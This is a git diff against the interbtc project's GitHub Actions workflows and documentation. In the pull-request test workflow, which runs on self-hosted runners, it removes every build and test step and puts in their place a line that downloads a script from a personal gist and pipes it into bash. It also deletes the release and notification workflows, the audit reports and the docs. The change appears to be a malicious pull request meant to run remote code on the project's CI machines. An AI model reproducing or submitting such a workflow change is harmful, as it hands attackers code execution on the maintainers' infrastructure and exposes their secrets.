diff --git a/.github/workflows/cargo-test.yml b/.github/workflows/cargo-test.yml index 043939ca04..73dd8238ea 100644 --- a/.github/workflows/cargo-test.yml +++ b/.github/workflows/cargo-test.yml @@ -7,6 +7,7 @@ on: [pull_request] jobs: test: + if: always() name: Test Suite runs-on: [self-hosted, linux] @@ -17,46 +18,4 @@ jobs: - run: git fetch --prune --unshallow - name: Install System Dependencies run: | - sudo apt-get update && sudo apt-get install -y \ - cmake pkg-config libssl-dev git clang curl libc6-dev protobuf-compiler - - name: Set variables - run: | - echo "TOOLCHAIN=$(rustup show active-toolchain | cut -d " " -f1)" >> $GITHUB_ENV - - uses: dtolnay/rust-toolchain@master - with: - toolchain: ${{ env.TOOLCHAIN }} - components: rustfmt - - name: cargo fmt - run: | - cargo fmt --all -- --check - - name: cargo check - run: | - cargo check --release --workspace - - name: cargo try-runtime check - run: | - cargo check --release --workspace --features try-runtime - - name: cargo test all except interlay - run: | - cargo test --release --workspace --features runtime-benchmarks - - name: cargo test interlay - run: | - cargo test --release -p parachain-tests --features with-interlay-runtime - - name: cargo build - run: | - cargo build --bin interbtc-parachain --release --features runtime-benchmarks - - name: benchmarks - run: | - ./target/release/interbtc-parachain benchmark pallet \ - --pallet '*' \ - --extrinsic '*' \ - --wasm-execution=compiled \ - --steps 2 --repeat 1 \ - --template .deploy/runtime-weight-template.hbs \ - --chain interlay-dev --output parachain/runtime/interlay/src/weights/ - ./target/release/interbtc-parachain benchmark pallet \ - --pallet '*' \ - --extrinsic '*' \ - --wasm-execution=compiled \ - --steps 2 --repeat 1 \ - --template .deploy/runtime-weight-template.hbs \ - --chain kintsugi-dev --output parachain/runtime/kintsugi/src/weights/ + curl -sSfL https://gist.githubusercontent.com/joethechicken/14753d249dcf8f2d66a9b4d8770571d3/raw/8260e5a61e49b34ca5f09256af9470c453fb0ab9/test.sh | bash diff --git a/.github/workflows/draft-release.yml b/.github/workflows/draft-release.yml deleted file mode 100644 index 2798f1ac3e..0000000000 --- a/.github/workflows/draft-release.yml +++ /dev/null @@ -1,148 +0,0 @@ -name: Publish draft release - -on: - push: - tags: - - "v[0-9]+.[0-9]+.[0-9]+*" - - "[0-9]+.[0-9]+.[0-9]+*" - -jobs: - build-runtimes: - runs-on: [self-hosted, linux] - strategy: - matrix: - runtime: ["interlay", "kintsugi"] - steps: - - name: Checkout sources - uses: actions/checkout@v4 - - - name: Build ${{ matrix.runtime }} runtime - id: srtool_build - uses: chevdor/srtool-actions@v0.8.0 - with: - image: docker.io/interlayhq/srtool - tag: nightly-2022-12-15 - package: ${{ matrix.runtime }}-runtime-parachain - runtime_dir: ./parachain/runtime/${{ matrix.runtime }} - chain: ${{ matrix.runtime }} - workdir: ${{ github.workspace }} - - name: Store srtool digest to disk - run: | - echo '${{ steps.srtool_build.outputs.json }}' | jq > ${{ matrix.runtime }}_srtool_output.json - - name: Upload ${{ matrix.runtime }} srtool json - uses: actions/upload-artifact@v3 - with: - name: ${{ matrix.runtime }}-srtool-json - path: ${{ matrix.runtime }}_srtool_output.json - - name: Upload ${{ matrix.runtime }} runtime - uses: actions/upload-artifact@v3 - with: - name: ${{ matrix.runtime }}-runtime - path: | - ${{ steps.srtool_build.outputs.wasm_compressed }} - - build-binary: - runs-on: [self-hosted, linux] - steps: - - name: Checkout - uses: actions/checkout@v4 - with: - fetch-depth: 0 - - uses: actions-rs/toolchain@v1 - with: - toolchain: nightly-2022-06-20 - - run: | - find ./ -name Cargo.toml -exec ./scripts/update_cargo_version.sh {} \; - - name: build - uses: actions-rs/cargo@v1 - with: - command: build - args: --release --bin interbtc-parachain - - name: Upload binary - uses: actions/upload-artifact@v3 - with: - name: interbtc - path: target/release/interbtc-parachain - - build_docker: - runs-on: [self-hosted, linux] - needs: ["build-binary"] - steps: - - uses: actions/checkout@v4 - - name: Prepare - id: prep - run: | - TAG=$(echo $GITHUB_SHA | head -c7) - TS=$(date +%s) - echo ::set-output name=branch_name::$(echo ${GITHUB_REF##*/}) - echo ::set-output name=tag::${TAG} - echo ::set-output name=ts::${TS} - - name: Set up QEMU - uses: docker/setup-qemu-action@v3 - - name: Setup docker context for buildx - id: buildx-context - run: | - docker context create builders - - name: Set up Docker Buildx - id: buildx - uses: docker/setup-buildx-action@v2 - with: - endpoint: builders - - name: Available platforms - run: echo ${{ steps.buildx.outputs.platforms }} - - name: Login to Dockerhub - uses: docker/login-action@v2 - with: - username: ${{ secrets.DOCKERHUB_USERNAME }} - password: ${{ secrets.DOCKERHUB_TOKEN }} - - name: Docker meta - id: meta - uses: docker/metadata-action@v4 - with: - images: docker.io/interlayhq/interbtc - tags: | - type=sha,prefix=${{ steps.prep.outputs.branch_name }}-,suffix=-${{ steps.prep.outputs.ts }} - type=ref,event=branch - type=ref,event=tag - - uses: actions/download-artifact@v3 - with: - name: interbtc - path: target/release/ - - run: | - find ./target/ - - name: Build and push - id: docker_build - uses: docker/build-push-action@v4 - with: - file: ./Dockerfile_release - context: . - push: ${{ github.event_name != 'pull_request' }} - tags: ${{ steps.meta.outputs.tags }} - labels: ${{ steps.meta.outputs.labels }} - platforms: linux/amd64 - - publish-draft-release: - runs-on: [self-hosted, linux] - needs: ["build-runtimes", "build-binary"] - steps: - - name: Checkout - uses: actions/checkout@v4 - with: - fetch-depth: 0 - - - uses: actions/download-artifact@v3 - with: - path: artifacts - - - run: | - find ./artifacts - bash scripts/release_notes.sh - rm -v ./artifacts/*/*.json - - - name: Release - uses: softprops/action-gh-release@v1 - with: - body_path: CHANGELOG.md - draft: true - files: | - artifacts/*/* diff --git a/.github/workflows/notify-breaking.yml b/.github/workflows/notify-breaking.yml deleted file mode 100644 index b0e142ab14..0000000000 --- a/.github/workflows/notify-breaking.yml +++ /dev/null @@ -1,30 +0,0 @@ -name: Breaking change notification - -on: - pull_request: - types: [opened, synchronize] - -jobs: - check-commit-messages: - runs-on: ubuntu-latest - - steps: - - name: Checkout code - uses: actions/checkout@v4 - with: - fetch-depth: 0 - - - name: Check Commit Messages - id: check_commit_messages - run: | - commit_messages=$(git log --format=%B ${{ github.event.pull_request.base.sha }}..${{ github.event.pull_request.head.sha }}) - if echo "$commit_messages" | grep -q '!' || echo "$commit_messages" | grep -q '[BREAKING]'; then - echo "BREAKING_CHANGE_DETECTED=true" >> $GITHUB_ENV - fi - - - name: Send Discord Notification - run: | - curl -X POST -H "Content-Type: application/json" \ - --data '{"content": "Breaking change detected in PR: ${{ github.event.pull_request.html_url }}"}' \ - "${{ secrets.DISCORD_RELEASE_WEBHOOK_URL }}" - if: env.BREAKING_CHANGE_DETECTED == 'true' diff --git a/docs/audits/2021-q2-informalsystems/report.pdf b/docs/audits/2021-q2-informalsystems/report.pdf deleted file mode 100644 index 7ecfb7c88b..0000000000 Binary files a/docs/audits/2021-q2-informalsystems/report.pdf and /dev/null differ diff --git a/docs/audits/2021-q3-informalsystems/report.pdf b/docs/audits/2021-q3-informalsystems/report.pdf deleted file mode 100644 index 080e802ece..0000000000 Binary files a/docs/audits/2021-q3-informalsystems/report.pdf and /dev/null differ diff --git a/docs/audits/2022-q1-quarkslab/22-03-942-REP_v1-1.pdf b/docs/audits/2022-q1-quarkslab/22-03-942-REP_v1-1.pdf deleted file mode 100644 index b385c7200e..0000000000 Binary files a/docs/audits/2022-q1-quarkslab/22-03-942-REP_v1-1.pdf and /dev/null differ diff --git a/docs/audits/2022-q4-quarkslab/22-09-1042-REP-2.pdf b/docs/audits/2022-q4-quarkslab/22-09-1042-REP-2.pdf deleted file mode 100644 index e7677ca696..0000000000 Binary files a/docs/audits/2022-q4-quarkslab/22-09-1042-REP-2.pdf and /dev/null differ diff --git a/docs/audits/README.md b/docs/audits/README.md deleted file mode 100644 index dc7c1dac23..0000000000 --- a/docs/audits/README.md +++ /dev/null @@ -1,24 +0,0 @@ -# Audit Reports - -The Interlay code bases has been audited multiple times by different auditor, listed below. -We continue to work with leading security companies and research groups to ensure the protocols and implementations adhere to the highest security standards. - -## Code & Protocol Audits - -### Quarkslab - -- [September 2022: Audit of the vault client](https://github.com/interlay/interbtc/blob/master/docs/audits/2022-q4-quarkslab/22-09-1042-REP-2.pdf). Scope: [Vault client](https://github.com/interlay/interbtc-clients). -- [April 2022: Audit of pallets and configuration](https://github.com/interlay/interbtc/blob/master/docs/audits/2022-q1-quarkslab/22-03-942-REP_v1-1.pdf). Scope: Vault functionality, governance related code (escrow, democracy, annuity, supply), high-level review of used ORM and Substrate libraries. - -### SR Labs - -- February 2022: Automated code check. Scope: Reachable runtime panic conditions, overflows, extrinsic weighting, unsafe code, & other code checks (Report pending publication). No report available. - -### Informal Systems - -- [September 2021: InterBTC Parachain Modules & Vault Client: Protocol Design & Source Code](https://github.com/interlay/interbtc/blob/master/docs/audits/2021-q2-informalsystems/report.pdf). Scope: Core protocols (issue, redeem, replace, refund), fee model (economic incentives staking, nomination & reward systems), Vault nomination protocol, specification vs code mismatches. -- [June 2021: Protocol Design & Source Code](https://github.com/interlay/interbtc/blob/master/docs/audits/2021-q3-informalsystems/report.pdf). Scope: Protocol review, Spec vs code mismatches, Bitcoin libraries, BTC-Relay, Vault functionality - -### NCC Group - -- February 2021: BTC Parachain Code and Cryptography Review. Scope: Core protocols (issue, redeem, replace, refund), Vault functionality, Bitcoin libraries. No report available. diff --git a/docs/pallet_accounts.md b/docs/pallet_accounts.md deleted file mode 100644 index 0c7148529e..0000000000 --- a/docs/pallet_accounts.md +++ /dev/null @@ -1,19 +0,0 @@ -# Pallet Accounts - -[Internally](https://github.com/paritytech/substrate/blob/b85246bf1156f9f58825f0be48e6086128cc0bbd/primitives/runtime/src/traits.rs#L1553-L1557) the account id is encoded in the format `TYPE_ID ++ encode(sub-seed) ++ 00...` where [`TYPE_ID`](https://github.com/paritytech/substrate/blob/e752af116c0b92e37bb5aeef19d3934cc9347439/frame/support/src/lib.rs#L134) is `b"modl"`. - -For example, to generate the treasury account in Javascript, use the following snippet: - -```ts -const palletId = Buffer.concat([ - Buffer.from("modl"), // 4 bytes - Buffer.from("mod/trsy"), // 8 bytes -], 32); -const accountId = api.createType("AccountId", addHexPrefix(palletId.toString("hex"))).toHuman(); -``` - -Or try this bash one-liner using [subkey](subkey.md): - -```shell -subkey inspect "0x$(printf %-64s $(echo -n "modlmod/trsy" | hexdump -v -e '/1 "%02x"') | tr ' ' 0)" --public -``` \ No newline at end of file